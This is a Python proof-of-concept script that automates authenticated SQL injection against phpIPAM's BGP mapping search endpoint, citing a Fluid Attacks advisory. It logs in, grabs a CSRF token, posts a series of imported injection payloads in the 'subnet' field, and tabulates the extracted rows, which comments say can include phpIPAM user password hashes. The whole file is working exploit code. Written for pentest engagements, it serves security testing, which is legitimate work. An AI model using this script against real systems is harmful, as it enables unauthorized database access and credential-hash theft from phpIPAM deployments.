#!/usr/bin/env python # -*- coding: utf-8 -*- # The vulnerability was discovered by Oscar Uribe (https://co.linkedin.com/in/oscar-uribe-londo%C3%B1o-0b6534155) # https://fluidattacks.com/advisories/mercury/ # This is just a PoC to automate the execution of some easy payloads during the engagements/pentests import requests import sys import argparse import getpass import urllib3 from bs4 import BeautifulSoup from tabulate import tabulate from termcolor import colored, cprint from res.payloads import simple_payloads from res.functions import * urllib3.disable_warnings() p = argparse.ArgumentParser() p.add_argument("-d", action='store_true', help="Debug output", default=False) p.add_argument("-q", action='store_true', help="Do not print the banner") p.add_argument("--url", help="phpipam url: https://ipamserver:8081/", required=True) p.add_argument("--user", help="admin user", required=True) if ("-q" not in sys.argv): banner() args = p.parse_args() debug = args.d base_url = args.url login_url = f"{base_url}/app/login/login_check.php" sqli_url = f"{base_url}/app/admin/routing/edit-bgp-mapping-search.php" ipamusername = args.user ipampassword = getpass.getpass(prompt=f'Password {ipamusername}: ') session = requests.Session() csrftoken = fetch_csrf_token() bgp_id = get_bgp_id() phpipam_session = login(session, login_url, ipamusername, ipampassword, None) headers = generate_headers(csrftoken, phpipam_session) for obj in simple_payloads: cprint(f"\n\n[INFO] Name: {obj['name']} - {obj['description']}\n", "green") sqli = obj['sqli'] if debug: print(f"[DEBUG] SQLi: {sqli}") payload = { "subnet": sqli, "bgp_id": bgp_id } response = requests.post(sqli_url, data=payload, headers=headers, verify=False) if debug: print(f"[DEBUG] {response.text}") bs = BeautifulSoup(response.text, "lxml") response_tr = bs.find_all("tr") table = [] if len(response_tr) == 0: alert = bs.find("div").get_text() print(colored(f"[ERROR] {alert}", "red")) continue # if we got more than one result, we have to loop tr first for tr in response_tr: response_td = tr.find_all("td") # We got results if len(response_td) > 0: # as we use tabulate to prettyprint the results # we want to create 3 columns but the hash of phpipam users might give some problems. We need to split the response and format each column output = response_td[2].get_text() output = output.strip() # last column space_splitting = output.split(" ") col2 = space_splitting[1].replace("(", "").replace(")", "") # middle column slash_chunk = space_splitting[0] aux = slash_chunk.split("/") col1 = aux[len(aux) - 1] # first columns ## removing the last part (which is part of the col1) and join with / which may be part of the hash aux.pop() col0 = "/".join(aux) row = [ col0, col1, col2] table.append(row) print(tabulate(table, headers=obj['tabulate_headers'], showindex="always", tablefmt="presto"))